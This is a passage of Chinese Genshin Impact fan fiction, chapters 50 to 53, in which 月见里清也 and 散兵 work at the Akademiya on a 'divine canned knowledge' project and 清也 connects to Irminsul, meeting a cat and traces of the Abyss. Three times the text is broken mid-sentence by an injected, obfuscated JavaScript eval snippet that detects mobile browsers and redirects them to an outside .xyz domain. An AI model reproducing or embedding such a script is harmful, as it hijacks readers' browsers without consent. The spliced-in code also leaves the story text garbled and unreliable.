两个房主一走,散兵和月见里清也只好自便了,散兵从月见里清也怀里抽走一本文件,“旧贵族被清算后,我曾经拜托卡斯珀从旧贵族手里找两个东西,就是你缺失的两块核心断片,但是贵族手里没有这两样东西。” 散兵在得知这个消息后曾经暗中探查过博士,他当天的确是回了至冬,可是博士切片太多了,想要挨个探查又不打草惊蛇实在是难上加难。 “但是愚人众里可不止一个博士,那家伙可以本体先走,然后让某个切片回来,这也不无可能。”月见里清也说,“如果那种奇怪的感觉真的是由断片引起的,就说明他应该是先来找了我们,随后带着断片来到了须弥。” 散兵点了点头说:“他没想到你与核心断片之间还互相有感应。” 月见里清也叹了口气,不懂博士葫芦里究竟卖的什么药。 他将怀里抱着的一堆文件都整理好,被最上面的文件吸引了注意,文件上写着一个陌生的词汇,叫做‘神明罐装知识’。 单看这个名字,肯定与造神计划脱不了干系,月见里清也随手翻开下一页,他对长篇大论的研究数据没兴趣,但让他意外的是,参与人员后面赫然写着他的大名:月见里清也。 50.神明罐装知识 第二天一早,月见里清也和散兵由卡斯珀带着,踏入教令院大门,向某个学者提交了博士留给他们的通行证。 关于神明罐装知识,卡斯珀揉了揉他的金色卷发说:“你们从哪里听到的这个词?” 月见里清也回答:“在你给我的那一堆文件里那里找到的。” “那个文件是在合作之初下发的,中间被废弃过一次。上面的内容它更像教令院自己想搞的东西,只不过借着这次合作的名义,被大贤者名正言顺的启动了。”卡斯珀想了一会说,“但这个东西究竟是什么我也说不上来,它可能直接涉及到散兵大人。” 在这个工厂里卡斯珀算得上一块砖,前期缺人手的时候他那个部门都待过,唯独没去过那个保密级别最高的部门,他所不了解的东西百分之八十都是跟那里有关。 “不过,我知道罐装知识的消息,你要听吗?”卡斯珀问。 虽然之前没少来须弥,但沙漠和雨林是两个环境,之前忙着跟深渊打交道也没机会接触须弥的高科技,初来乍到的月见里清也决定先听听看。 反正两字之差,大差不差吧。 谁知道卡斯珀张嘴就来:“就和它的名字一样,是罐装的知识。” 月见里清也快把眉毛扬飞出去了,一脸“你最好是在开玩笑”的表情。 “没骗你。”卡斯珀笑着说,“须弥的一种科技,将知识存储进特定的容器里,使用时把它与自己的虚空终端,也就是昨天我给你们看的绿叶耳机进行连接,无论是谁都能快速的获取到里面的知识。” 他一边说着一边用自己的工作卡刷了升降梯,带着月见里清也继续往下走,“听须弥学者的意思是,这是一种将知识从世界树储存到虚空的一种手段,按照正常使用罐装知识的方法来说,使用过后应该立即被销毁,但你也看到了罐装知识的便捷之处,所以罐装知识也存在非常严重的走私贩卖问题。” 月见里清也听明白了,罐装知识的存在就是把不用学习知识就能进脑子里的幻想变为了现实。 那所谓的神明罐装知识,岂不就是从世界树里提取神的智慧,把他装载到散兵的身体里? 卡斯珀看着月见里清也陷入沉思,脚步一顿,如梦初醒般地瞪着他,“不对啊,你跟着我下来干嘛?” 月见里清也偏头看他一眼,“我不跟着你还能去哪,教令院给我安排单独的办公室了?” “刚才那个学者都说了让你们等一会,带你们去见大贤者。”卡斯珀盯着他,终于从他眼里看到一丝狡黠,后知后觉道,“你故意的吧。” 月见里清也眉眼一弯,点点头道:“主角又不是我,跟着去见大贤者有什么好处吗?懒得跟他们商业尬吹,这种事交给我哥就好了。” 卡斯珀提醒他,“别忘了你也是参与者这一件事,本来教令院就对你这突然插进来的门外汉不满。” “他们早就对我不满,难不成我去了他们就能对于有所改观?”月见里清也不在乎别人对自己的看法,顿了顿说,“能把事情做好就行了,要是工作之余还要关心每个人对我的看法,我早就累死了。” 在他刚任职执行官的时候还被人说靠着裙带关系上位呢,这才哪到哪,习惯了就好。 月见里清也没别的优点,就是想得开。 卡斯珀劝不动他,月见里清也本人都不在意,他何必在这皇上不急太监急的,直接大手一挥将人带回了自己的办公室。 介于现在没有接到关于调走月见里清也的正式通知,卡斯珀揣着明白装糊涂,把他当做自己部门的员工看待。 他把图纸在桌上摊开,示意月见里清也过来看,“如果不出意外的话,就是最终呈现的样子。” 月见里清也撑着桌子,仔细看着图纸上的机甲结构。 老实说,这跟他想象中的不太一样。他原本以为博士和教令院会直接在散兵本人身上做文章,就如同刚加入愚人众时,博士对散兵做的那些研究。 身体能承受住的力量是有限的,以肉身登神的风险性确实很高,为了避免意外的发生,借用机甲来分担力量,确实是一种保险的做法。 看到连接机甲的装置时,月见里清也扯了扯嘴角,可算知道这座工厂为什么会被叫做“净琉璃工坊”了。 净琉璃是稻妻传统说唱戏剧,一般会用三味线来伴奏,再由人操纵着木偶进行表演。不论是从操作系统,还是从他们的身份来说,取这个名字的确很贴切。 这边月见里清也和卡斯珀还在看着“七叶寂照秘密主”的设计图纸,那边散兵已经跟着博士完成了跟大贤者的会晤。 至于月见里清也没到场这件事,大贤者阿扎尔倒是没说什么,反倒是跟在他身后的各派学者听到散兵的托词后狠狠一皱眉,不满之情溢于言表。 “既然你这么心急,那恐怕给月见里清也休息的时间不多了,”博士说着对身旁的手下说,“去把他请过来吧。” “你想干什么?”散兵看向博士, “别紧张,只是一些必备物品的收集罢了,相信以他的能耐,这点小事难不倒他。”博士说,“我并不参与这件事,这么说你应该放心了?” 见散兵并不答话,博士也不觉尴尬,继续说道:“如果这次实验能够成功,教令院那帮学者会对他有很大的改观,这也方便后续的计划,我想你也不愿抛下他独自成神吧,我这是在帮你,斯卡拉姆齐。” “道貌岸然的说辞,借我之口来掩盖你自己的想法,难道不是因为月见里清也身上有你感兴趣的东西。”散兵冷哼一声说,“我这个挡箭牌可还好用?” 二人谈话的地方并没有其他人,被戳中心思的博士看似并不在意,“在贤者的眼中,神明应该仁慈宽厚,象征着无所不知与无所不能。但你我都知道这些词跟你相差甚远,不抛下自己的弟弟,这何尝不是一次向众人展示你仁慈的机会呢?” “虚伪的家伙。”散兵嘲讽道,“你就是靠着这样的伪装重新获得教令院信任的?” “你最好放尊重点,斯卡拉姆齐。”博士声音透出一股怒火,仿佛下一秒散兵再说些什么,两人就会大打出手。 散兵无所谓地一笑,并不在意博士心情如何,“那个实验的场所在哪,带路。” 与其同时,月见里清也由一名士兵带着前往实验室,好巧不巧,这位士兵就是当初跟踪过他们的那名第二席士兵。 进入升降梯后,小士兵装作不经意闲聊,“大人上次见过我,是在那里见的?” 月见里清也听出话里的试探之意,随口回道:“没有,记错了。” 那名士兵肉眼可见的放松下来,“这样啊,那就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“看来你已经对它有过了解了,”一位年长的学者走到二人跟前,对月见里清也做了自我介绍,“过程和提取罐装知识类似,我们已经提前实验过几次了,不存在安全隐患。” 月见里清也跟着做了自我介绍,虽然学者多多少少的都对他有点意见,但跟博士相比,他还是更愿意跟这帮学者打交道。 见月见里清也态度还算端正,学者对他的不满稍微少了那么一点,“草神之所以被称为智慧之神,是因为她的意识连接着世界树,而我们人类想要连接上世界树,获取其中的知识,就需要借助灵酚香。” 学者估计是讲课讲习惯了,给月见里清也介绍时都仿佛是在教学生,好在这些东西月见里清也从来没有听说过,听起来并不枯燥。 “灵酚香的原料主要是大慈树王创生的植物,能够激发人体对草神之力的感知。”他指着放在不远处的熏炉说,“就算是冥想多年的学者,失败的可能性依旧很大,我们没有那么多的时间浪费,这点你得做好准备。等你准备好后,我们会点燃灵酚香,帮助你进入冥想状态,连接世界树。” “我有个问题,都说术业有有专攻,我很好奇你为什么突然要把我加进来。”月见里清也看向博士。 不怪教令院学者对他有意见,连修行多年的学者都会失败,他这个从来没有连接过的人又能好到哪去。 造神计划几乎是分秒必争,博士就不怕他一直连接不上拖慢整个进程? 博士还没回话,倒是一旁的学者深深看了他一眼说:“因为不是什么人都能承受神明的知识,你的目的就是找到那些知识,至于如何将它带回来,我们自有办法。” 51.连接世界树(其一) 学者在世界树中探索知识时,有时会遇到一些从未听说过的未知知识,一旦自身能力无法理解这些知识,头脑就会无法承受,最后疯掉。 须弥贤者们通常将这些自身无法理解的知识统称为神明知识,可这些让学者陷入疯狂的未知知识一定是神明知识吗? 月见里清也知道不少物质接触后也会变得疯疯癫癫,精神错乱,比如深渊。 但见学者们这么坚持,月见里清也最终什么都没说。年长的学者又给他介绍了罐装知识,这些月见里清也早就知晓,心不在此,悄悄打量起这个房间。 作为临时改造的实验室,它和一般的教学实验室区别不大,唯独一侧的墙壁有一片格格不入的镜子。 介绍完实验室的学者重新带着他的学生做最后的调试,没人限制月见里清也的行动,他溜达到窗户边,随手将窗帘拉上。 实验室的遮光窗帘效果不错,室内瞬间变暗,月见里清也一回头,见原本能清楚照出他身影的镜子,在没了光线后瞬间变得模糊。 他走过去敲了敲镜子,指尖直接触碰到了自己的倒影,心下了然,这一整片都是单面镜。实验室配单面镜,通常来说这面镜子后面应该有个观察室才对,可惜在两个房间光线都较暗的情况下,他无法看见观察室的情况。 “可以准备开始了。”一个年轻的学者冷着脸打开了室内所有的灯光,像是在责怪月见里清也捣乱。 月见里清也不适应地眯起眼,看着自己的倒影在灯光下恢复正常,无所谓的一耸肩,走向位于实验室中心的装置。 见月见里清也转身离去,散兵的视线锁定混在人群里的博士,冷声道:“这就是你所谓的‘不参与’?” 博士在散兵身旁站着,透过单面镜看向自己的切片,“他虽然也是我的一部分,但我们是有着独立思维的不同个体。” “就比如,他更疯狂执拗,我反而内敛一些。”他笑了一下,“我想月见里清也应该也看得出来,反抗‘我’可不是个好想法。” “有区别吗,不论那个年龄段的你,都是一样的自私疯狂。”散兵说着,视线依旧死死的粘在月见里清也身上,看着那些学者将仪器的导联线贴在他身上。 导接线和检测仪都需要贴在皮肤身上,月见里清也皱着眉看着学者手上的东西,多少有些抗拒。 双方僵持了几秒,月见里清也退了一步,他将胸前的衣扣解开一颗,勉勉强强漏出一片能贴仪器的皮肤,还没等学者动手,自己就将导联线拿了过来,贴在对应位置上。 见他没有任何不适的反应,散兵才微微松了口气,偏头看向博士,“把自己裂成无数的切片,对你们来说,真的还存在‘本体’这个概念吗?” 博士笑容一顿,语气生硬地说:“对于每个独立个体来说,我就是我。” 散兵勾了勾嘴角,不再搭话。 单面镜的另一边,学者点燃了一早准备好的灵酚香,一阵花草混合的清香从香炉里传出来。 月见里清也没心思品鉴灵酚香的香气如何,他甚至来不及按照学者的要求进入冥想状态,意识就开始涣散,仿佛从香炉里飘出来的不是熏香而是迷药。 身体渐渐失去掌控的滋味对他来说并不好受,他下意识的想要逃离有香味的地方,但身体却动弹不得。 在熏香的作用下,月见里清也那点微不足道的反抗都是徒劳的,强撑几秒后,他还是没能抗住灵酚香的作用,眼前一黑。 最初的眩晕感消失后,月见里清也意识回笼,一睁眼发现自己躺在一片草地上。 四周都是连绵不绝的草地,一眼望不到头,天空散发着不祥的红色,没有太阳,也没有星辰,根本没办法辨别方向,更别提找什么世界树。 最重要的是,没人告诉月见里清也该如何回去。 既来之则安之,缺少辨别方向的工具,月见里清也只好凭着自己的运气走。 只是他运气一向不好,这次也不例外。 也不知道走了多久,眼前仍是一眼望不到尽头的草地,就当他准备换个方向试试的时候,四周气温骤升,一股硝烟与烧焦的气味直冲鼻腔。 火焰自远处烧起,眨眼间就将草地烧成变一片火海,还没烧尽的灰烬被风卷起,借着风势劈头盖脸地向着月见里清也袭来。 奇怪的很,他身上的衣服并没有被点燃,但却感觉到一阵刺痛,月见里清也倒吸口气,将袖子撸上去一看,胳膊上的皮肤没有伤口,看上去什么事都没有。 月见里清也低声骂了句脏,甩了甩胳膊,尽量避开在空中飘来飘去的灰烬。他下意识催动神之眼,却发现自己感知不到一丝一毫的元素力。 月见里清也:“……” 也是,毕竟现在的他只是个意识,肉身和神之眼都在外面呢,用不出来也算正常。好在他自身的雷元素力还能用,但他看了看眼前这汪洋火海,叹了口气,还是老老实实的跑路吧。 要不是牵扯到神明罐装知识,他都要怀疑博士是寻了个名头想杀了自己。 火势封锁了其他方向的道路,月见里清也只好挑着那些还未烧到的地方走,误打误撞跑到了草地尽头。 就在即将跑出火海时,他听见了一声细弱的“喵。” 月见里清也脚下一顿,猛的刹住脚步。回头见一只猫从火焰中跳出,也不知道是被烟灰熏的还是怎么,看不出原本的颜色,倒像一团煤球。 小猫轻巧落地,仪态端庄地坐在原地远远的看着他,又叫了一声。结果草地上的枯枝蹦出的火星溅到它的尾巴上,被烫了一个激灵,转头弓起身冲大火“哈”了一声,一爪子下去把火焰拍灭半分。 月见里清也吹了个口哨,转头冲进火海把小煤球捞走,顺手撸了两把毛,“还挺厉害。” 这句话对小煤球来说还挺受用,原本龇牙咧嘴的他被月见里清也抱进怀里后安分不少。 这么一耽误,原本的退路又重新被火焰堵死,月见里清也笑了笑,颠了一下怀里的小煤球说:“你知道出去的路在哪吗?” 他随口一说,并不指望一只小猫给自己引路,却不曾想小煤球耳朵动了动,真伸出爪子扒拉他,看向右侧。 月见里清也:? 这猫成精了?! 可惜右侧也被火焰封死,正常手段是过不去了,月见里清也往自己身上叠了好几层护盾,没忘嘱咐怀里的煤球,“我有一个办法,不过我估计你不会喜欢。” 小煤球抬头看他,“喵?” 月见里清也往后退了几步,紧接着向前冲刺起跳,跃至空中时将雷元素搓成了个小球,接着回身把它往火里扔去。 火雷元素之间会发生剧烈的超载反应,事先他往自己身上套的几层护盾正好抵消掉了爆炸产生的伤害,也让自己飞得更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110790|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远了些。 小煤球的指路没错,右侧不远处的山崖下是条河,月见里清也正正好好落在河水里。 看着山崖上的火光,月见里清也终于松了口气。 也不怪学者会在连接世界树的时候发疯了,这么险象环生的求学之路,不疯就怪了。 爬上河岸后,小煤球终于忍不住从他怀里挣脱出来,甩了月见里清也一脸水。 月见里清也伸手把它抱起来,放在浅水区搓了半天,又捧到眼跟前,见小煤球的颜色依旧,除了毛色有些偏蓝外并没有什么变化,自言自语道:“原来不是被烟熏的啊。” 小煤球忍无可忍,伸爪子就要挠。 月见里清也往后一仰,避开了迎面而来的攻击,连忙把这小祖宗放下。 等了一阵,小煤球的毛已经完全干了,这时它好像忘记了刚才的仇,开始在月见里清也脚边转来转去。 月见里清也低头看它,挠了挠它的下巴问:“怎么了?” 小煤球往反方向走了几步,扭头看月见里清也,示意他抓紧时间跟上。 月见里清也没忍住笑了起来,“你知道我要去哪吗?” 闻言小煤球微微抬高了下巴,尾巴高高竖起,神气到有些不可一世。 行吧,反正自己也不知道世界树在哪,有个能带路的总好过自己在里面瞎转。 他一点头,“那就麻烦你了。” 临行前月见里清也又抬头看了一眼山崖,冲天的火光已经消失不见,那些本该被打过吞噬的灌木与草地,此时正郁郁葱葱的生长在山崖边上,仿佛那场大火就是他自己的错觉。 湿哒哒的衣服贴在身上,月见里清也重新将袖子撸上去,原本被灰烬撩过的地方出现了一道伤口,还隐隐透出一股黑气。 他眉头微皱,用雷元素轻轻一抹,伤口发出令人牙酸的“滋滋”声,像是有什么东西正在负隅顽抗。 伤口被两股力量撕裂,鲜血顺着胳膊蜿蜒而下,在地上汇集成一个血泊。 月见里清也像是感觉不到疼痛一样,手上的力度越来越大,伤口里的黑气顽固的跟他僵持着,直到他手中雷光一闪,数不清的电弧蜿蜒集结,缠绕住手臂,钻入伤口中。 黑气最终还是消散了,那些电弧退了出来,献宝一样将包裹住的东西放在月见里清也的掌心里。 这是从他伤口里找到的,黑气死亡后剩下的残骸,看着这个小小的核,他的脸色冷的吓人。 在前面带路的小煤球见月见里清也没有跟上来,一回头看见血淌了一地,焦急的跑回来,拿小鼻子轻轻碰了碰他的胳膊。 月见里清也不太在意伤口,以他的自愈程度来说,这点伤好的很快,他放低手臂让小煤球也能看清伤口的愈合速度。 见伤口以肉眼可见的速度愈合,小煤球安下心来,月见里清也把手里的核给它看,问道:“你见过这个吗?” 小煤球“哈”地一声,全身的毛都炸了起来。 “看来你也认识这个,”他手上一用力,黑核被电弧碾成粉末,拍了拍手,给小煤球顺了两下毛。 小煤球:“喵。” 月见里清也也不管它能不能听懂,“我第一次遇到这玩意也是在须弥,沙漠的底下遗迹,具体有多深我不记得了,但是那里头都处都是深渊。” “你说,深渊魔物是怎么出现在世界树里的呢?” 52.连接世界树(其二) 有教令院学者和博士在,月见里清也觉得出错传错地方的概率并不大,可世界树里怎么会出现深渊魔物? 月见里清也怕周围还有深渊魔物,索性把小煤球抱起来,揣怀里按照它所指的方向走,“你是一直住在这里?” 小煤球:“喵” “这种情况出现很久了?” “喵。” “……你真的能听懂人话吗?” “喵。” 月见里清也:“……” 算了,也不能指望小猫开口讲话。 好在一路上风平浪静,没有第二只魔物出来找不痛快,月见里清也就这么揣着煤球,一步步接近这颗挺立在天地之间的世界树。 小煤球突然挣脱他的怀抱,迈着小猫步带着月见里清也走到树干前,直起身抬起前爪搭在树干上,回头看他。 月见里清也抱着手在后面看了几秒,走过去有样学样的把手放上去。 小煤球见状跳到一旁,甩了甩尾巴坐下看着月见里清也,一副孺子可教也的模样。 月见里清也摸着树干,也没感觉到有什么不一样,一脸疑惑的转头看着小煤球,一人一猫大眼瞪小眼看了半天。 小煤球:…… 月见里清也:…… 他好像从一只猫的脸上看到了嫌弃。 小煤球毕竟是只猫,再急也不能口吐人言,月见里清也决定凭借自己的悟性理解一二。 “这东西会不会和教令院的虚空终端一个用法,我要先提问,然后世界树才会给出答复?”月见里清也说。 小煤球歪头看他。 “算了,死马当活马医。”月见里清也嘟囔着,考虑到有不少学者曾经接触到了无法理解的知识当场疯掉的情况,他不敢掉以轻心,先选了一个自己知道的事来试试水。 他在心中默念,“神之眼的本质。” 神之眼作为外置的魔力器官,可以驱使元素力,这是绝大部分人都知道的常识。可这个念头出现的一瞬间,无数画面涌入他的脑海,无数人影交错出现,耳边传来一声轻叹,“以灵魂为质料,靠愿望驱动,此乃神之眼本质。” 那声音听不出男女,眼前纷杂无序的画面最终定格在了一位女士身上,只不过这位女士头上有一对龙角,身后还有一条披着鳞甲的龙尾,身上的服装看上去像纳塔的样式,三者一结合,月让见里清也对女士的身份有了猜测。 纳塔的龙裔。 世界树呈现的影像里看不清龙裔的样貌,反倒是桌上的研究报告十分清楚,月见里清也垂眸看去,就见上面写着: 【驱使神之眼的质料同样是灵魂,从原理上来说,是通过愿望将命运锚定,从而借助灵魂调用元素力。】 ——CL-08伊·卡科茨·伊齐玛瓦夏·库·雷尔* 月见里清也看着这两句话,眉头微皱。 按照这份研究报告所写,神之眼有两个必不可少的材料,持有者的灵魂与愿望。 持有者最强烈的愿望为他今后道路规划了方向,方向又变为命运被锚定在虚假之天上,由此他可以借助自己的“灵魂”使用元素力。 这个“灵魂”,就是神之眼。 也就是说,构成神之眼的质料就是持有者的灵魂,灵魂作为人类本质的存在,包含了自身的人格、记忆与情感。而愿望规划好了方向,为灵魂赋予了前进的目标,由此才会有不同象征意义的七元素神之眼。 眼前画面再次一变,等到纷杂无序的画面停下时,场景已经转变为稻妻,月见里清也还认得这里,是稻妻城外的绀田村。 与上次复现的场景不同,这次的复现变成了动态,看上去就像一场映影,只是相关信息都被世界树重新提炼排序,无关的事物都被模糊处理,短短几十秒内就放完了有关手岛先生失去神之眼一事的前因后果。 稻妻眼狩令期间,不光手岛一人,所有失去神之眼的人都会忘却一些事情,因为神之眼中是承载记忆的灵魂,斩断与神之眼的关联,也是斩断了自己的记忆。 世界树唯恐月见里清也看不明白,将失去神之眼的后果一并放了出来。 但还没等月见里清也从画面中品出点什么,一种更为强烈的头晕袭来,眼前事物天旋地转,再然后就什么也看不到了。 月见里清也能够重新看清眼前事物时,眼前已经不再是世界树,他看着实验室的墙壁愣了两秒才反应过来,自己已经回来了。 学者在一旁对他的身体状况评估,他把身上的各种线胡乱拽了下来,心不在焉的敷衍着学者的提问。 ……好像还没来得及跟小煤球说再见,好歹也是共同从火海里跑出来,也算共患难了,也不知道自己离开后它会去哪。 月见里清也想着,准备问问学者世界树中有没有出现过活物的情况。但还没等他开口,另一个听着让人十分反感的声音插了进来,“为了确保第一次连接不发生意外,没有同步元素力作用模块,不过按照你的实力也能轻松应对吧?” 月见里清也皮笑肉不笑看了他一眼,嘴皮上下一碰,无声吐出两个字:“放屁。” 假惺惺的演给谁看呢。 一旁的学者对两人针锋相对的气氛熟视无睹,专心致志将收集到的罐装知识按照编号分门别类的摆放好,准备锁进密码盒里。 按照那位年长的学者所言,罐装知识本质是一种草元素力,更有价值的罐装知识,会呈现出接近草元素力的色彩,但眼前这些红色的罐装知识怎么看也不像草元素吧。 月见里清也闭了闭眼,用元素视野重新看去,那些罐装知识依旧是红色的,并没有变化。 “我现在开始怀疑他们所说的‘神明知识’到底是个什么东西了。”月见里清也想起临走时学者的话,在屋里走来走去,对散兵说。 不论是遭到深渊魔物袭击,还是向世界树询问问题,月见里清也第一次连接世界树遭遇可谓是精彩至极,什么事都干了,唯独没干有关神明知识的事。 他脚步一顿,看着散兵,“估计从一开始就跟‘神明’二字无关。” 散兵则在一旁坐着,看着他团团转,慢条斯理地说:“其实也不难猜。” “那学者也说过,草神的意识连接着世界树,世界树又是一切地脉汇集之地,记录着提瓦特发生的一切。对于草神而言,世界树就是一座任意查阅的资料库。”散兵说,“他们想要的‘全知全能’,不过如此。” “啊,原来你在观察室里。”月见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16123237|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里清也说,“想要神的智慧,换言之也就是世界树中记载的一切知识,凭借着虚空他们完全可以做到这一点,但他们仍不满足,为什么?” 散兵并不知道他在世界树里经历了什么,只得配合他,“为什么?” 月见里清也毫不客气的将散兵刚倒好的茶水端走,眉眼一弯,“因为深渊啊。” “在我连接世界树之前,那位学者提到一句话,‘不是什么人都能承受神明的知识,连接世界树的过程中会有不少学者无法承受知识而陷入疯狂。’” “倘若世界树的知识都可以被他们查阅,或许就没有这种事了,但偏偏出现了一种他们不知道的一种知识,接触它的人全部陷入疯狂,这种难以理解的知识,就成了他们口中的神明知识。”月见里清也说,“接触就会让人神经错乱、陷入疯狂,你不觉得这些形容词很耳熟吗?” 神经错乱、陷入疯狂,这些都是过度接触深渊被它侵染的症状,连他们当初探索深渊时都要做好足够的防护,更别提他们这些手无寸铁的学者。 “更何况,我还在里面遇到了深渊魔物。”月见里清也又补了一句,“你知道我说这些的目的是什么。” 他跟着散兵一同下深渊,对于深渊魔物,绝不会认错,至于他说这番话的目的是什么,散兵自然知晓,“你不想让我使用那些罐装知识。” 月见里清也一耸肩,“显而易见,还是说你打算以身涉险,为人类对深渊的研究做出贡献?” “倘若我不在乎呢?” “你不会那么做,我也不会允许。”月见里清也认真道。 散兵忽然一笑,想起今日会晤时大贤者说的那番话,“你说得对,我不会那么做。” 月见里清也闻言悬着的心落回去,整个人放松下来。 这点变化自然被散兵注意到,有些哭笑不得,“至于吗?” 月见里清也把喝空的茶杯放回去,伸了个懒腰,懒洋洋道:“这不是怕你被博士和教令院洗脑,无法抵挡住‘全知全能’的诱惑。” 散兵表情有点摊,“……我傻?” 如果世界树中没有深渊侵染,神明罐装知识的确是一个无法让人拒绝的诱惑,可诱惑的背后是无底的深渊,散兵倒不至于被这点甜头蒙住眼。 更何况全知全能从来不是神明的必须具备的条件。远了不说,稻妻政局的弊端就连散兵这个长时间没回稻妻的人都看得明白,倘若神明无所不知,雷神又怎会执迷不悟,直到八重神子布局来打开她的心扉。教令院所谓的‘全知全能’不过是对世界树中的知识的渴求,但草神作为世界树的化身,这些只不过都是她权柄的一部分。 月见里清也被散兵的表情逗乐,好一会才止住笑说:“至于教令院那边,我会继续参与计划,顺便寻找净化深渊的办法。如果实在不行,我会尽量稳住他们,直到你登神成功。那时候你都成为神明了,他们又能耐你何?” 他不信净善宫的那位小吉祥草王是一个没有任何手段,手无缚鸡之力的神明,而教令院如今的情况只能说明,这位新任草之神,对自己的子民太过迁就和忍让了。 神可以怜爱自己的子民,对他们的一些行为示以宽容,但不该是迁就,放纵往往会滋生野心。 53.灰烬里诞生树 月见里清也对于自己的认知依旧和在愚人众时一样,散兵去干他想干的事,他负责处理这些“微不足道”的小事。 他从来没过产生过与散兵一同登神的念头,就像他从来没觊觎过执行官的位置。但月见里清也没有想过,不代表别人没想过。 今日在观察室的那番谈话,博士明确表示参与神明罐装知识只不过是个开始,他要通过这件事让这帮学者逐渐接受清也的存在,好方便他后续之事。只是在至冬从来没把清也当回事的博士,为什么突然又对他起了兴趣。 是从断片里研究到了什么与世界树有关的东西? 散兵暗自思索着,另一边的月见里清也正在用虚空终端有关大慈树王和小吉祥草王的消息,和预想的一样,有关大慈树王的知识多到数不胜数,甚至还夹带着须弥民众对这位神明的爱戴之情。与之相反的,关于小吉祥草王的反而寥寥无几。让不知道的人看了,恐怕会觉得大慈树王才是须弥的现任神明。 虚空终端是今下午教令院为他们安排住处时附赠的,月见里清也对这玩意兴趣不大,搜索完后就准备摘下来,正好对上散兵若有所思的目光,“怎么了?” 散兵没想到月见里清也突然看过来,闻言一愣,若无其事道:“没事。” 眼下事情还没有定下,按照月见里清也所言,提取出来的罐装知识不一定能通过检验,检验不通过,博士想进行的后续之事恐怕就很难了。 不过散兵通常不会将希望寄托在虚无缥缈的运气上,他需要做两手准备。 “不抛下自己的弟弟,这何尝不是一次向众人展示你仁慈的机会呢?” 博士的话回荡在耳边,既然他早就想拉月见里清也趟这浑水,那不如先下手为强。 散兵和月见里清也两个人各怀心思等到了第二天,那些罐装知识的检验结果终于出来了。 “您昨天带回来的那些罐装知识检测结果出来了,学者们都认为那些就是神明的知识。”同样的路,同样的人,月见里清也听着第二席的士兵汇报的消息,悬着的心终于死了。 他点点头,表示自己知道了。 士兵见他兴致不高,有些奇怪,“您看起来并不开心,今天学者们提到您的时候,态度可是比昨天好了很多。” 月见里清也不在乎学者的态度对他如何,反倒对士兵的行为感到奇怪。 在愚人众时,他对第二席的不喜不光针对博士一人,连手底下的士兵都无法幸免。久而久之,这种单方面的不喜就变成了双向的,月见里清也和第二席士兵之间,通常碍于同事关系和阶级,彼此之间都是表面客气,唯独这个士兵是个例外。 “通常来说,你们第二席对我没什么好脸色吧,怎么你反倒对我嘘寒问暖的?”月见里清也挑眉看他。 士兵意识到自己说多了,打了个马虎眼,“大概是检测结果出来了,高兴吧。” “是吗。”月见里清也轻飘飘回了一句,像是随口一问,并不在意士兵的回答。 士兵抿了抿嘴,没再搭话,他不知道的是,在他身后,月见里清也的视线从没从他身上移开过。说出的话经过修饰,可以虚情假意,可以谎话连篇,但人的肢体动作不会。 这个士兵自从月见里清也说出见过他的时候,每次见到自己都会紧张,甚至还要来确认自己是否真的见过他。在得到他想要的答案后,看似恢复正常了,却又不知不觉地拉进与月见里清也的关系。 设想一下,你与对方互相看不顺眼几十年,结果在某一天对方手底下的一个人跑来对你嘘寒问暖。 老实说,这很诡异。 月见里清也自认为自己的人格魅力还没好到人见人爱的地步,那就只剩一种可能性了,这个士兵在愧疚,因愧疚所以对他释放善意。 虽然不敢百分百确定,但月见里清也决定赌一把。 在拐入实验室走廊前,月见里清也借着死角,快走几步,在经过士兵事在他耳边轻声说:“与其做表面功夫,不如将那场意外的实情都告诉我。” 士兵脚步一顿,僵在原地,像是被人兜头泼了一本冷水,惊疑不定地看着他。 月见里清也却没在管他,他也不指望士兵能够良心大发现把一切都告诉他,毕竟事关博士,那士兵看上去也不像个胆大的人。 但他需要一个混入第二席的机会,这个士兵或许就是一个很好的突破口。 和昨日一样,月见里清也准备进行第二次连接,或许是神明罐装知识提取成功,同士兵所说的一样,这些学者都客气了几分,只是客气中还掺杂了几分微妙,让月见里清也有些琢磨不透。 连接前的最后准备阶段,月见里清也看着一帮学者忙前忙后,里面并没有博士的身影。 “博士和老师都被临时叫走了,说是降神计划那边有点突发状况,今天由我全权负责您的连接,如果您准备好了,现在就可以开始了。”一个学者说。 有了第一次的经验,就算博士与那位学者不在场,第二次连接并未发生什么意外,月见里清也站在世界树前,没有第一时间向世界树询问什么,反而愣了许久的神。 小煤球歪头看着他,有些不解,“喵?” 月见里清也俯下身,揉了揉小猫头说:“不急。” 说起深渊,月见里清也对它并不陌生,如果教令院想要的是这种被深渊侵染过后的知识,他自己就可以把他所知道的一切合成一份罐装知识送给教令院。 只是按照计划,这份知识在收集完成后是要被输入散兵脑中的,在当初探索深渊时他们都不能长时间接触深渊,直接将深渊污染输入脑海里,结果可想而知。 不光是为了散兵,也是为他自己,月见里清也不打算直接向世界树询问深渊,只能尽可能的用自己知道的东西敷衍了事。至于将这些知识的污染净化的方法,他试着向世界树提问,却没有得到有效的回答。 